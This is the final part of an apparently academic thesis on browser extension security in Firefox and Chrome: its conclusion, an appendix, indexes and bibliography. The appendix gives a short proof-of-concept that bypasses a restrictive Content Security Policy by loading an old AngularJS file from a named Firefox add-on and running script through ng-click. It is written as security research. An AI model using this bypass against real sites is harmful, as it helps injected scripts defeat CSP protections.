Chrome, on the other hand, shows that extremely restrictive security models can deter attackers. Especially
themes are virtually unusable for an attack, as they have very limited capabilities. Furthermore, the security
benefit of a modern extension system without legacy components is particularly apparent in Chapter 7: While
there are numerous unintended attacks from add-ons in Firefox, there are very few attacks from Chrome
extensions. As explained in Section 8.1, the main reason for this gap are bad design decisions in the legacy
extension system of Firefox. Mozilla plans to fully deprecate the legacy system in favor of a model that
closely resembles Chrome in the future. In the meantime, mandatory add-on reviews which are part of the
signing process help to reduce the threat of malign extensions tremendously. However, as this thesis has
shown with multiple attacks, limiting the signing requirement to regular extensions is not sufficient. All
extension types have to be signed in order to offer a consistent protection to the browser’s users.

A recurring problem in this thesis is the incompatibility of extensions and CSP. In the current iterations
of the standard, an extension is always exempt from a policy. Arguably, CSP is only a defense in depth
mechanism and thus an extension, or the user’s wish, must be favored. However, while this may be reasonable
for websites, in extensions it only poses a danger to the main mitigation present to stop XCS attacks
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(cf. Section 6.2.2). Here, a major problem of CSP becomes apparent: As it is meant to work in multiple
contexts, at least one of them has to suffer from drawbacks.

Overall, exploiting extensions is still possible and will stay possible in the foreseeable future. Browser
vendors yet have to introduce mitigations which prove more resistant against dedicated adversaries. Un-
surprisingly, Firefox’ legacy extension system is a huge liability in terms of security, offering adversaries
multiple ways to compromise a victim’s host system. Abandoning it for a modern model resembling Chrome
seems to be the correct decision regarding security.



A. Appendix

A.1. Extension CSP Bypass

User extensions can pose a major problem to web developers attempting to deploy CSP, as they can introduce
inline code and other violations of the policy. Especially when using the report functionality, they account for
the majority of noise the sink will receive. Thus, the CSP version 3 draft features an own section dedicated to
extensions [Wes16], clarifying the interplay between extensions and policies:

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features
like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s
priority over page authors, as espoused in [HTML-DESIGN].

Moreover, applying CSP to these kinds of features produces a substantial amount of noise in
violation reports, significantly reducing their value to developers.

Chrome, for example, excludes the chrome-extension: scheme from CSP checks, and does some
work to ensure that extension-driven injections are allowed, regardless of a page’s policy.

In summary, a correctly implemented CSP should not interfere with extensions. This section explicitly
mentions Chrome’s chrome-extension scheme, but the text applies to Firefox’ resource and chrome
schemes, too. Hence, an attacker can inject scripts with these origins despite an extremely restrictive policy
disallowing all scripts. There are two potential attack vectors arising from this:

• In rare cases, an attacker might chain web-accessible scripts of one or more extensions in to a working
exploit achieving a malicious goal. The probability of this is sufficiently low as avoiding side effects in
the global execution scope is a common goal of JavaScript software nowadays.

• When a JavaScript framework such as AngularJS is available at a web-accessible URL, an attacker can
abuse it to completely bypass any CSP. As shown by Heiderich1, multiple old AngularJS versions can
help to circumvent even the most restrictive policies. Other frameworks with a sufficient large amount
of functionality might be prone to such attacks, too. As the popularity of JavaScript MVC frameworks
grows, the necessary files for a bypass can be increasingly found in extensions.

1 <?php header("Content-Security-Policy: script-src 'none'"); ?>
2 <script src="resource://jid1-2s29onvwybue7q-at-jetpack/ladbrokes-dlg/data/lib/an c

gular/angular.min.js"></script>↪→

3 <button ng-app ng-csp ng-click="$event.view.alert(1)">XSS</button>

Listing A.1: Exemplary bypass of a restrictive CSP

1Mario Heiderich. An Abusive Relationship with AngularJS. Dec. 2015. URL: http://de.slideshare.net/x00mario/
an-abusive-relationship-with-angularjs.

http://de.slideshare.net/x00mario/an-abusive-relationship-with-angularjs
http://de.slideshare.net/x00mario/an-abusive-relationship-with-angularjs
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Listing A.1 first declares a policy completely disallowing scripts and then immediately bypasses it. While
nonsensical for a developer to bypass the self-imposed restriction, the markup below the PHP code might be
thought of as an payload injected by an attacker. For this example, a very old AngularJS version was found at
a web-accessible location in the Ladbrokes Deep Link Generator Firefox add-on2. It allows the usage of a
very short code snippet to bypass the policy, highlighting the potential danger extensions pose to CSPs.

2addons.mozilla.org. Ladbrokes Deep Link Generator. URL: https://addons.mozilla.org/de/firefox/addon/
ladbrokes-deep-link-generat/.

https://addons.mozilla.org/de/firefox/addon/ladbrokes-deep-link-generat/
https://addons.mozilla.org/de/firefox/addon/ladbrokes-deep-link-generat/


List of Figures

3.1. XML ancestry . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
3.2. Resulting DOM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.3. Abstract model of browser security contexts . . . . . . . . . . . . . . . . . . . . . . . . . . 15
3.4. Reflected XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.5. Persistent XSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.6. Unobstructed website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.7. Overlayed website . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
3.8. Browser components . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18

4.1. Add-on installation confirmation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
4.2. Untrusted website permission request . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
4.3. Gecko’s compartment system . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
4.4. Security boundaries in interactions between web content and extensions . . . . . . . . . . . 31

5.1. Simplified test suite communication flow . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33

6.1. Error-based fingerprinting attack on Chrome extensions . . . . . . . . . . . . . . . . . . . . 42
6.2. Contexts in extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
6.3. Contexts in Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
6.4. AdBlock’s popup dialog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
6.5. Transparent front tab . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55

7.1. Regular Firefox TLS warning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
7.2. Re-Skinned TLS warning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
7.3. Regular about:config iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
7.4. Covered about:config iframe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64



List of Tables

4.1. Subsuming relationships . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
4.2. Internal browser URIs sorted by their privileges . . . . . . . . . . . . . . . . . . . . . . . . 29

5.1. Firefox privilege testing results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
5.2. Chrome privilege testing results . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

6.1. Stacked query availability in Firefox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
6.2. Stacked query availability in Chrome . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54



List of Listings

3.1. Exemplary HTML document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
3.2. Exemplary XML document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
3.3. Exemplary HTML document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
3.4. Exemplary XUL document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.5. Exemplary XBL code (example.xml) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
3.6. Style sheet embedding the XBL code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.7. HTML before parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
3.8. Embed style sheets via style tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.9. Embed declarations via style attributes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.10. External CSS via link tag . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.11. Exemplary style sheet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.12. Two ways of embedding JavaScript in HTML via script tags . . . . . . . . . . . . . . . . . 14
3.13. Example of event handlers on tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.14. JavaScript pseudo protocol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.15. Call to eval . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3.16. Exemplary JavaScript code sending a request . . . . . . . . . . . . . . . . . . . . . . . . . 14

4.1. install.rdf of a theme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
4.2. chrome.manifest of an extension . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
4.3. An exemplary Chrome manifest.json . . . . . . . . . . . . . . . . . . . . . . . . . . . 24
4.4. Default CSP for version 2 Extensions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
4.5. Default CSP for version 2 Apps . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31

6.1. Firefox chrome.manifest showing web-accessible URLs . . . . . . . . . . . . . . . . 39
6.2. Chrome manifest.json showing web-accessible resources . . . . . . . . . . . . . . . . 39
6.3. Detect Ghostery Firefox extension by event handler . . . . . . . . . . . . . . . . . . . . . . 39
6.4. Detect AdBlock Chrome extension by event handler . . . . . . . . . . . . . . . . . . . . . . 40
6.5. editor.css of Easy Screenshot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
6.6. Detect Easy Screenshot via override . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
6.7. override-page.css of AdBlock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
6.8. Detect AdBlock via font load . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
6.9. Fingerprinting attack relying on an error-based side channel . . . . . . . . . . . . . . . . . . 43
6.10. Vulnerable init function of EPUBReader’s error page . . . . . . . . . . . . . . . . . . . . 44
6.11. Chrome manifest allowing the use of eval . . . . . . . . . . . . . . . . . . . . . . . . . . 47
6.12. Better History XCS vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47
6.13. XCS attack on Better History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
6.14. SVG image triggering the vulnerability in Vivaldi . . . . . . . . . . . . . . . . . . . . . . . 49
6.15. Relevant parts of Vivaldi’s manifest file . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
6.16. Leak a victim’s history and search history via Vivaldi-specific storage entries . . . . . . . . 50
6.17. Leak URLs via DNS from a PAC script . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51



List of Listings 79

6.18. PAC script injection in Proxy Era (simplified) . . . . . . . . . . . . . . . . . . . . . . . . . 51
6.19. Open SQLite connection directly via XPCOM classes . . . . . . . . . . . . . . . . . . . . . 52
6.20. Open SQLite connection via utils . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52
6.21. SQL Injection flaw in EPUBReader Firefox extension . . . . . . . . . . . . . . . . . . . . . 53
6.22. Opening a Web SQL database in Chrome . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
6.23. Overwriting multiple files on disk using the Firefox bug . . . . . . . . . . . . . . . . . . . . 57
6.24. Deactivating the HTTPS Everywhere add-on by overwriting one of its files . . . . . . . . . 57
6.25. Overwriting a file of the WOT Safe Browsing Tool Firefox extension . . . . . . . . . . . . . 57
6.26. Resulting report in ratingwindow.html . . . . . . . . . . . . . . . . . . . . . . . . . 58

7.1. Import the CommonJS require function in to a legacy context . . . . . . . . . . . . . . . 59
7.2. Command Execution using child_process . . . . . . . . . . . . . . . . . . . . . . . . 60
7.3. Stealing passwords using the passwords API . . . . . . . . . . . . . . . . . . . . . . . . 60
7.4. Writing a binary file to the file system . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
7.5. chrome.manifest overriding a privileged URI with a formerly unprivileged file . . . . . 61
7.6. chrome.manifest declaring DTDs for two languages . . . . . . . . . . . . . . . . . . . 62
7.7. Injection attack using an entity from aboutAbout.dtd . . . . . . . . . . . . . . . . . . . 62
7.8. Technique to change text on a button or other GUI element . . . . . . . . . . . . . . . . . . 63
7.9. Variant 1: Declare two content types with same alias (rootfs) in chrome.manifest . . 65
7.10. Code loading resources from the file system root and leaking them to the web . . . . . . . . 65
7.11. Simple CSS attribute extraction attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66
7.12. Fingerprint the top three Firefox extensions from within a theme . . . . . . . . . . . . . . . 66
7.13. Using the chrome.tabs API to inject scripts in all current and future tabs . . . . . . . . . 67
7.14. Using the chrome.cookies API to read all accessible cookies . . . . . . . . . . . . . . 67
7.15. Using the chrome.proxy API to install a PAC script . . . . . . . . . . . . . . . . . . . . 68
7.16. Using the Filesystem API to create a file with an URL . . . . . . . . . . . . . . . . . . . . . 68
7.17. Using the File API to create a Blob with an URL . . . . . . . . . . . . . . . . . . . . . . . 69
7.18. Access chrome APIs of an extension from a filesystem or blob URI . . . . . . . . . . 69

A.1. Exemplary bypass of a restrictive CSP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 74



List of Acronyms

AMO addons.mozilla.org

API Application Programming Interface

CDN Content Delivery Network

CORS Cross-Origin Resource Sharing

CSP Content Security Policy

CSRF Cross-Site Request Forgery

CSS Cascading Style Sheets

DNS Domain Name System

DOM Document Object Model

DoS Denial of Service

DTD Document Type Declaration

ECMA European Computer Manufacturers Association

GUI Graphical User Interface

HTML HyperText Markup Language

HTTP Hypertext Transfer Protocol

JAR Java Archive

JSON JavaScript Object Notation

MIME Multipurpose Internet Mail Extensions

MitM Man-in-the-Middle

MVC Model View Controller

NPAPI Netscape Plugin Application Programming Interface

PAC Proxy Auto-Config

PHP PHP: Hypertext Preprocessor

RDF Resource Description Framework

RFC Request for Comments



List of Listings 81

SDK Software Development Kit

SGML Standard Generalized Markup Language

SQL Structured Query Language

SVG Scalable Vector Graphics

TLS Transport Layer Security

UI User Interface

URI Uniform Resource Identifier

URL Uniform Resource Locator

UUID Universally Unique IDentifier

UXSS Universal Cross-Site Scripting

W3C World Wide Web Consortium

WHATWG Web Hypertext Application Technology Working Group

WWW World Wide Web

XBL XML Binding Language

XCS Cross-Context Scripting

XHTML Extensible HyperText Markup Language

XML Extensible Markup Language

XPCOM Cross Platform Component Object Model

XPI Cross-Platform Installer Module

XSS Cross-Site Scripting

XUL XML User Interface Language



Bibliography

[Ack+14] Steven Van Acker et al. “Monkey-in-the-browser: Malware and Vulnerabilities in Augmented
Browsing Script Markets”. In: 9th ACM Symposium on Information, Computer and Communi-
cations Security, ASIA CCS ’14, Kyoto, Japan. June 2014, pp. 525–530.

[AFO14] Wade Alcorn, Christian Frichot, and Michele Orrù. The Browser Hacker’s Handbook. John
Wiley & Sons, 2014.

[Agg+10] Gaurav Aggarwal et al. “An Analysis of Private Browsing Modes in Modern Browsers”. In:
USENIX Security Symposium. 2010, pp. 79–94.

[Arb+02] William A. Arbaugh et al. “Your 802.11 Wireless Network Has No Clothes”. In: Wireless
Communications, IEEE 9.6 (Dec. 2002), pp. 44–51.

[Ban+10] Sruthi Bandhakavi et al. “VEX: Vetting Browser Extensions for Security Vulnerabilities”. In:
USENIX Security Symposium. Vol. 10. 2010, pp. 339–354.

[Bar+08] Adam Barth et al. The Security Architecture of the Chromium Browser. 2008.

[Bar+10] Adam Barth et al. “Protecting Browsers from Extension Vulnerabilities”. In: NDSS. 2010.

[Bar11] Adam Barth. RFC 6454: The Web Origin Concept. RFC. https://tools.ietf.org/
html/rfc6454. 2011.

[BC95] Tim Berners-Lee and Dan Connolly. RFC 1866: Hypertext Markup Language - 2.0. RFC.
https://tools.ietf.org/html/rfc1866. 1995.

[Bos+11] Bert Bos et al. Cascading Style Sheets Level 2 Revision 1 (CSS 2.1) Specification. W3C
Recommendation. http://www.w3.org/TR/CSS2/. June 2011.

[Bos+98] Bert Bos et al. Cascading Style Sheets, level 2. W3C Recommendation. http://www.w3.
org/TR/2008/REC-CSS2-20080411/. May 1998.

[BPS98] Tim Bray, Jean Paoli, and C. Michael Sperberg-McQueen. Extensible Markup Language (XML)
1.0. W3C Recommendation. http://www.w3.org/TR/1998/REC-xml-19980210.
Feb. 1998.

[Bra+04] Tim Bray et al. Extensible Markup Language (XML) 1.1. W3C Recommendation. http:
//www.w3.org/TR/2004/REC-xml11-20040204/. Feb. 2004.

[Bra+08] Tim Bray et al. Extensible Markup Language (XML) 1.0 (Fifth Edition). W3C Recommendation.
http://www.w3.org/TR/xml/. Nov. 2008.

[Buy+16] Ahmet Salih Buyukkayhan et al. “CrossFire: An Analysis of Firefox Extension-Reuse Vulnera-
bilities”. In: 23rd Annual Network and Distributed System Security Symposium, NDSS 2016,
San Diego, California, USA. Feb. 2016.

[BZW13] Aoyan Barua, Mohammad Zulkernine, and Komminist Weldemariam. “Protecting Web Browser
Extensions from JavaScript Injection Attacks”. In: Engineering of Complex Computer Systems
(ICECCS), 2013 18th International Conference on. IEEE. 2013, pp. 188–197.

[Cal+15] Stefano Calzavara et al. “Fine-Grained Detection of Privilege Escalation Attacks on Browser
Extensions”. In: Programming Languages and Systems. Springer, 2015, pp. 510–534.

https://tools.ietf.org/html/rfc6454
https://tools.ietf.org/html/rfc6454
https://tools.ietf.org/html/rfc1866
http://www.w3.org/TR/CSS2/
http://www.w3.org/TR/2008/REC-CSS2-20080411/
http://www.w3.org/TR/2008/REC-CSS2-20080411/
http://www.w3.org/TR/1998/REC-xml-19980210
http://www.w3.org/TR/2004/REC-xml11-20040204/
http://www.w3.org/TR/2004/REC-xml11-20040204/
http://www.w3.org/TR/xml/


Bibliography 83

[Çel+11] Tantek Çelik et al. CSS Color Module Level 3. W3C Recommendation. http://www.w3.
org/TR/css3-color/. June 2011.

[CFW12] Nicholas Carlini, Adrienne Porter Felt, and David Wagner. “An Evaluation of the Google
Chrome Extension Security Architecture”. In: Proceedings of the 21th USENIX Security
Symposium. Aug. 2012, pp. 97–111.

[Dag13] John Daggett. CSS Fonts Module Level 3. W3C Candidate Recommendation. http://www.
w3.org/TR/css3-fonts/. Oct. 2013.

[Dah+11] Erik Dahlström et al. Scalable Vector Graphics (SVG) 1.1 (Second Edition). W3C Recommen-
dation. http://www.w3.org/TR/SVG/. Aug. 2011.

[DG09] Mohan Dhawan and Vinod Ganapathy. “Analyzing Information Flow in JavaScript-based
Browser Extensions”. In: Computer Security Applications Conference, 2009. ACSAC’09. An-
nual. IEEE. 2009, pp. 382–391.

[DG10] Vladan Djeric and Ashvin Goel. “Securing Script-based Extensibility in Web Browsers”. In:
Proceedings of the 19th USENIX Conference on Security. USENIX Security’10. Washington,
DC: USENIX Association, 2010, pp. 23–23. ISBN: 888-7-6666-5555-4.

[FGW11] Adrienne Porter Felt, Kate Greenwood, and David Wagner. “The Effectiveness of Application
Permissions”. In: Proceedings of the 2Nd USENIX Conference on Web Application Development.
WebApps’11. Portland, OR: USENIX Association, 2011, pp. 7–7.

[Guh+11] Arjun Guha et al. “Verified Security for Browser Extensions”. In: Security and Privacy (SP),
2011 IEEE Symposium on. IEEE. 2011, pp. 115–130.

[Hei+11a] Mario Heiderich et al. “Crouching Tiger — Hidden Payload: Security Risks of Scalable Vectors
Graphics”. In: Proceedings of the 18th ACM conference on Computer and communications
security. ACM. 2011, pp. 239–250.

[Hei+11b] Mario Heiderich et al. Web Application Obfuscation:-/WAFs.. Evasion.. Filters//alert (/Obfuscation/)-
. Elsevier, 2011.

[Hei+13] Mario Heiderich et al. “mXSS attacks: attacking well-secured web-applications by using
innerHTML mutations”. In: 2013 ACM SIGSAC Conference on Computer and Communications
Security, CCS’13, Berlin, Germany. Nov. 2013, pp. 777–788.

[Hic] Ian Hickson. HTML. Living Standard. http://www.whatwg.org/specs/web-
apps/current-work/multipage/.

[Hic+14] Ian Hickson et al. HTML5. W3C Recommendation. http://www.w3.org/TR/html5/.
Oct. 2014.

[Hua+12] Lin-Shung Huang et al. “Clickjacking: Attacks and Defenses”. In: Proceedings of the 21th
USENIX Security Symposium, Bellevue, WA, USA. Aug. 2012, pp. 413–428.

[Int15] Ecma International. ECMA-262. ECMAScript 2015 Language Specification. http://www.
ecma-international.org/ecma-262/5.1/. June 2015.

[Kap+14] Alexandros Kapravelos et al. “Hulk: Eliciting Malicious Behavior in Browser Extensions”. In:
Proceedings of the 23rd Usenix Security Symposium. 2014.

[Kar+07] Chris Karlof et al. “Dynamic Pharming Attacks and Locked Same-Origin Policies”. In: Pro-
ceedings of the 14th ACM conference on Computer and communications security. ACM. 2007,
pp. 58–71.

http://www.w3.org/TR/css3-color/
http://www.w3.org/TR/css3-color/
http://www.w3.org/TR/css3-fonts/
http://www.w3.org/TR/css3-fonts/
http://www.w3.org/TR/SVG/
http://www.whatwg.org/specs/web-apps/current-work/multipage/
http://www.whatwg.org/specs/web-apps/current-work/multipage/
http://www.w3.org/TR/html5/
http://www.ecma-international.org/ecma-262/5.1/
http://www.ecma-international.org/ecma-262/5.1/


Bibliography 84

[Kar+12] Rezwana Karim et al. “An Analysis of the Mozilla Jetpack Extension Framework”. In: ECOOP
2012 - Object-Oriented Programming - 26th European Conference, Beijing, China. Proceedings.
June 2012, pp. 333–355.

[Kir+06] Engin Kirda et al. “Behavior-based Spyware Detection”. In: Usenix Security. Vol. 6. 2006.

[KO12] Krzysztof Kotowicz and Kyle Osborn. Advanced Chrome Extension Exploitation Leveraging
API powers for Better Evil. White Paper. 2012.

[LB96] Håkon Wium Lie and Bert Bos. Cascading Style Sheets, level 1. W3C Recommendation.
http://www.w3.org/TR/CSS1/. Dec. 1996.

[Lek+12] Sebastian Lekies et al. “On the Fragility and Limitations of Current Browser-Provided Click-
jacking Protection Schemes”. In: WOOT 12 (2012).

[Ler+13] Benjamin S Lerner et al. “Verifying Web Browser Extensions’ Compliance with Private-
Browsing Mode”. In: Computer Security–ESORICS 2013. Springer, 2013, pp. 57–74.

[LF10] Roberto Suggi Liverani and Nick Freeman. Exploiting Cross Context Scripting Vulnerabilities
in Firefox. Security-Assessment.com White Paper. Apr. 2010.

[Lie+12] Håkon Wium Lie et al. Media Queries. W3C Recommendation. http://www.w3.org/
TR/css3-mediaqueries/. June 2012.

[Liu+12] Lei Liu et al. “Chrome Extensions: Threat Analysis and Countermeasures”. In: 19th Annual
Network and Distributed System Security Symposium, NDSS 2012, San Diego, California, USA.
Feb. 2012.

[Liv10] Roberto Suggi Liverani. Cross Context Scripting with Firefox. Security-Assessment.com White
Paper. Apr. 2010.

[LZC11] Lei Liu, Xinwen Zhang, and Songqing Chen. “Botnet with Browser Extensions”. In: Privacy,
Security, Risk and Trust (PASSAT) and 2011 IEEE Third Inernational Conference on Social
Computing (SocialCom), 2011 IEEE Third International Conference on. Oct. 2011, pp. 1089–
1094.

[MSD12] Said M Marouf, Mohamed Shehab, and Adharsh Desikan. “REM: A Runtime Browser Ex-
tension Manager with Fine-Grained Access Control”. In: 2012 Tenth Annual International
Conference on Privacy, Security and Trust. IEEE. 2012, pp. 231–232.

[Nie11] Marcus Niemietz. “UI Redressing: Attacks and Countermeasures Revisited”. In: in CONFidence
2011 (2011).

[Rag97] Dave Raggett. HTML 3.2 Reference Specification. W3C Recommendation. http://www.w3.
org/TR/REC-html32.html. Jan. 1997.

[RL12] Sampsa Rauti and Ville Leppänen. “Browser extension-based man-in-the-browser attacks
against Ajax applications with countermeasures”. In: 2012 Conference on Computer Systems
and Technologies, CompSysTech’12, Ruse, Bulgaria. June 2012, pp. 251–258.

[RLJ97] Dave Raggett, Arnaud Le Hors, and Ian Jacobs. HTML 4.0 Specification. W3C Recommenda-
tion. http://www.w3.org/TR/REC-html40-971218/. Dec. 1997.

[RLJ99] Dave Raggett, Arnaud Le Hors, and Ian Jacobs. HTML 4.01 Specification. W3C Recommenda-
tion. http://www.w3.org/TR/html401/. Dec. 1999.

[Ryd+10] Gustav Rydstedt et al. “Busting Frame Busting: A Study of Clickjacking Vulnerabilities at
Popular Sites”. In: IEEE Oakland Web 2 (2010), p. 6.

http://www.w3.org/TR/CSS1/
http://www.w3.org/TR/css3-mediaqueries/
http://www.w3.org/TR/css3-mediaqueries/
http://www.w3.org/TR/REC-html32.html
http://www.w3.org/TR/REC-html32.html
http://www.w3.org/TR/REC-html40-971218/
http://www.w3.org/TR/html401/


Bibliography 85

[SB11] Hossein Saiedian and Dan S. Broyles. “Security Vulnerabilities in the Same-Origin Policy:
Implications and Alternatives”. In: Computer 9 (2011), pp. 29–36.

[Sto10] Paul Stone. “Next Generation Clickjacking”. In: BlackHat Europe (2010).

[TLV07] Mike Ter Louw, Jin Soon Lim, and Venkat N. Venkatakrishnan. “Extensible Web Browser
Security”. In: Detection of Intrusions and Malware, and Vulnerability Assessment. Springer,
2007, pp. 1–19.

[TLV08] Mike Ter Louw, Jin Soon Lim, and Venkat N. Venkatakrishnan. “Enhancing web browser
security against malware extensions”. In: Journal in Computer Virology 4.3 (2008), pp. 179–
195.

[Wan+12] Jiangang Wang et al. “An Empirical Study of Dangerous Behaviors in Firefox Extensions”. In:
Information Security - 15th International Conference, ISC 2012, Passau, Germany. Proceedings.
Sept. 2012, pp. 188–203.

[Wes16] Mike West. Content Security Policy Level 3. W3C First Public Working Draft. https://
www.w3.org/TR/2016/WD-CSP3-20160126/. Jan. 2016.

[WF09] Candid Wüst and Elia Florio. “Firefox and Malware: When Browsers Attack”. In: Symantec
Security Response (2009), pp. 1–15.

[Yeo05] Cheah Chu Yeow. Firefox secrets. SitePoint Pty Ltd, 2005.

[Zal12] Michal Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications. No Starch
Press, 2012.

https://www.w3.org/TR/2016/WD-CSP3-20160126/
https://www.w3.org/TR/2016/WD-CSP3-20160126/

	Introduction
	Threat Model
	Organization

	Related Work
	Attacks on Extensions
	Attacks from Extensions

	Fundamentals
	HyperText Markup Language
	Extensible Markup Language
	Extensible HyperText Markup Language
	XML User Interface Language
	XML Binding Language

	Document Object Model
	Cascading Style Sheets
	JavaScript
	Same-Origin Policy
	Security Contexts

	Cross-Site Scripting
	Cross-Context Scripting

	Clickjacking
	Browsers
	Mozilla Firefox
	Google Chrome
	Other Browsers


	Extension Architectures
	Extension Types
	Mozilla Firefox
	Google Chrome

	Distribution Models
	Mozilla Firefox
	Google Chrome

	Security Concepts
	Gecko Concepts
	Chrome Concepts

	Security Model
	Mozilla Firefox
	Google Chrome


	Test Suite
	Architecture
	Methodology
	Results
	Firefox
	Chrome


	Attacks on Extensions
	Fingerprinting
	Resource Leaks
	Side Channels

	Cross-Context Scripting
	XCS in Mozilla Firefox
	XCS in Google Chrome

	SQL Injection
	SQL Injection in Mozilla Firefox
	SQL Injection in Google Chrome

	Clickjacking
	Bait and Switch

	Browser Vulnerabilities
	Arbitrary File Write


	Attacks from Extensions
	Mozilla Firefox
	Privileged Attacks
	Privilege Escalation
	Misdirection
	Data Leaks

	Google Chrome
	Privileged Attacks
	Privilege Escalation


	Conclusion
	Discussion
	Future Research
	Final Conclusion

	Appendix
	Extension CSP Bypass

	List of Figures
	List of Tables
	List of Listings
	List of Acronyms
	Bibliography

